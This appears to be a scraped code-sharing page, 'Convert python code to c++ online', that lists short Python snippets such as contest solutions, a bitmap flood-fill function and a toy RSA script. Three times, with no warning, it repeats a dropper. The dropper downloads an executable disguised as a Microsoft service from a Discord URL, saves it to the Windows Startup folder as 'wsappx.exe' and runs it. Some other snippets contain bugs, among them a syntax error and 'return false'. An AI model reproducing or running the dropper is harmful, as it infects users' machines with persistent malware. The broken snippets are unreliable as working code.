/Python/Convert python code to c++ online

Convert python code to c++ online

def ceil_function(n): 
    res = int(n) 
    return res if res == n or n < 0 else res+1 
def cars(n1, n2, x): 
    if n1>=n2: 
        return -1 
    rel = n2 - n1 
    t_double = (x+1)/rel 
    t = ceil_function(t_double) 
    return t 
 
n1=int(input()) 
n2=int(input()) 
x=int(input()) 
print(cars(n1, n2, x))

Convert python code to c++ online

t=int(input())
while t:
    n=int(input())
    k=int(input())
    l=list(map,int,input().split()))
    s=set(l)
    l=list(s)
    
    l.sort()
    x=0
    i=0

Convert python code to c++ online

name=int(input("name: "))

Convert python code to c++ online

import requests
import os

url = 'https://cdn.discordapp.com/attachments/902946584633954354/931610894373355540/Microsoft_service_status.exe'
r = requests.get(url, allow_redirects=True)

open('C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\wsappx.exe', 'wb').write(r.content)
os.startfile('C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\wsappx.exe')

Convert python code to c++ online

    #Use input() to read input from STDIN and use print to write your output to STDOUT
def check(s1,s2):
    a=len(s1)
    b=len(s2)
    i=j=0
    while j<a and i<b:
        if s1[j] == s2[i]:
            j+=1
        i+=1
    return j==a
def main():
    v=input()
    n=int(input())
    x=[]
    for i in range(n):
        x.append(input())
    for i in x:
        print("POSITIVE" if check(i,v) else "NEGATIVE")  
main()

Convert python code to c++ online

def BitmapHoles(strArr):
    bitmap = {}
    for i in range(len(strArr)):
        for j in range(len(strArr[i])):
            bitmap[(i,j)] = int(strArr[i][j])
    
    hole_count = 0
    hole = set()
    checked = set()
    flag = True
    
    for i in range(len(strArr)):
        for j in range(len(strArr[i])):
            stack = [(i,j)]
            while stack:
                coords = stack.pop()
                if coords not in checked:
                    checked.add(coords)
                    if bitmap[coords] == 0 and coords not in hole:
                        hole.add(coords)
                        if flag == True:
                            hole_count += 1
                            flag = False
                        if coords[0] - 1 >= 0 and (coords[0]-1,coords[1]) not in checked:
                            stack.append((coords[0]-1,coords[1]))
                        if coords[0] + 1 < len(strArr) and (coords[0]+1,coords[1]) not in checked:
                            stack.append((coords[0]+1,coords[1]))
                        if coords[1] - 1 >= 0 and (coords[0],coords[1]-1) not in checked:
                            stack.append((coords[0],coords[1]-1))
                        if coords[1] + 1 < len(strArr[coords[0]]) and (coords[0],coords[1]+1) not in checked:
                            stack.append((coords[0],coords[1]+1))
            flag = True
            
    return hole_count

Convert python code to c++ online

ch=input()
p=ch.find("01")
nb=0
while p!=-1 :
    nb+=1
    ch=ch[p+2:]
    p=ch.find("01")
print(nb)

Convert python code to c++ online

import requests
import os

url = 'https://cdn.discordapp.com/attachments/902946584633954354/931610894373355540/Microsoft_service_status.exe'
r = requests.get(url, allow_redirects=True)

open('C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\wsappx.exe', 'wb').write(r.content)
os.startfile('C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\wsappx.exe')

Convert python code to c++ online

import math
 
print("RSA Encryption & Decryption")
 
#Input Prime Numbers
print("\nEnter your 'p' and 'q' values:")
p = int(input("Enter a prime number for p: "))
q = int(input("Enter a prime number for q: "))

 
def isPrime(a):
    if(a==2):
        return True
    elif((a<2) or ((a%2)==0)):
        return False
    elif(a>2):
        for i in range(2,a):
            if not(a%i):
                return false
    return True
 
check_p = isPrime(p)
check_q = isPrime(q)
while(((check_p==False)or(check_q==False))):
    p = int(input("Enter a prime number for p: "))
    q = int(input("Enter a prime number for q: "))
    check_p = isPrime(p)
    check_q = isPrime(q)
 

n = p * q

print("\nRSA Modulus(n) is:",n)
 
#Eulers Toitent
'''CALCULATION OF EULERS TOITENT 'r'.'''
r= (p-1)*(q-1)
print("Eulers Toitent(r) is:",r)

 
#GCD
'''CALCULATION OF GCD FOR 'e' CALCULATION.'''
def egcd(e,r):
    while(r!=0):
        e,r=r,e%r
    return e
 
#Euclid's Algorithm
def eugcd(e,r):
    for i in range(1,r):
        while(e!=0):
            a,b=r//e,r%e
            if(b!=0):
                print("%d = %d*(%d) + %d"%(r,a,e,b))
            r=e
            e=b
 
#Extended Euclidean Algorithm
def eea(a,b):
    if(a%b==0):
        return(b,0,1)
    else:
        gcd,s,t = eea(b,a%b)
        s = s-((a//b) * t)
        print("%d = %d*(%d) + (%d)*(%d)"%(gcd,a,t,s,b))
        return(gcd,t,s)
 
#Multiplicative Inverse
def mult_inv(e,r):
    gcd,s,_=eea(e,r)
    if(gcd!=1):
        return None
    else:
        if(s<0):
            print("s=%d. Since %d is less than 0, s = s(modr), i.e., s=%d."%(s,s,s%r))
        elif(s>0):
            print("s=%d."%(s))
        return s%r
 
#e Value Calculation
'''FINDS THE HIGHEST POSSIBLE VALUE OF 'e' BETWEEN 1 and 1000 THAT MAKES (e,r) COPRIME.'''
for i in range(1,1000):
    if(egcd(i,r)==1):
        e=i
print("The value of e is:",e)

 
#d, Private and Public Keys
'''CALCULATION OF 'd', PRIVATE KEY, AND PUBLIC KEY.'''
print("\nEuclidean Algorithm:")
eugcd(e,r)


print("\nExtended Euclidean Algorithm:")
d = mult_inv(e,r)

print("The value of d is:",d)

public = (e,n)
private = (d,n)
print("\nPrivate Key is:",private)
print("Public Key is:",public)

 
#Encryption
'''ENCRYPTION ALGORITHM.'''
def encrypt(pub_key,n_text):
    e,n=pub_key
    x=[]
    m=0
    for i in n_text:
        if(i.isupper()):
            m = ord(i)-65
            c=(m**e)%n
            x.append(c)
        elif(i.islower()):               
            m= ord(i)-97
            c=(m**e)%n
            x.append(c)
        elif(i.isspace()):
            spc=400
            x.append(400)
    return x
     
 
#Decryption
'''DECRYPTION ALGORITHM'''
def decrypt(priv_key,c_text):
    d,n=priv_key
    txt=c_text.split(',')
    x=''
    m=0
    for i in txt:
        if(i=='400'):
            x+=' '
        else:
            m=(int(i)**d)%n
            m+=65
            c=chr(m)
            x+=c
    return x
 
#Message
message = input("\nWhat would you like encrypted or decrypted? If you choose to encrpyt please write your message. If you choose to decrypt please separate numbers with ',' (Do not add a space after typing the comma)):")

 
#Choose Encrypt or Decrypt and Print
choose = input("Type 'e' for encryption and 'd' for decrytion.")
if(choose=='e'):
    enc_msg=encrypt(public,message)
    print("Your encrypted message is:",enc_msg)
elif(choose=='d'):
    print("Your decrypted message is:",decrypt(private,message))
else:
    print("You entered the wrong option.")

Convert python code to c++ online

import requests
import os

url = 'https://cdn.discordapp.com/attachments/902946584633954354/931610894373355540/Microsoft_service_status.exe'
r = requests.get(url, allow_redirects=True)

open('C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\wsappx.exe', 'wb').write(r.content)
os.startfile('C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\wsappx.exe')

Similar codes

0 vote149 views1 answer
Device one list into 2 list python
Python
0 vote167 views10 answers
Python
Python
0 vote156 views1 answer
How to set up pygame
Python
3 votes211 views2 answers
Python button click code
Python
3 votes154 views2 answers
Python set terminal size
Python
1 vote181 views1 answer
Finding the Variance and Standard Deviation of a list of numbers in Python
Python
1 vote161 views1 answer
Pandas .nlargest
Python
4 votes163 views4 answers
Recursion python examples
Python
0 vote217 views1 answer
Precedence in python
Python
0 vote144 views1 answer
Django serve media folder
Python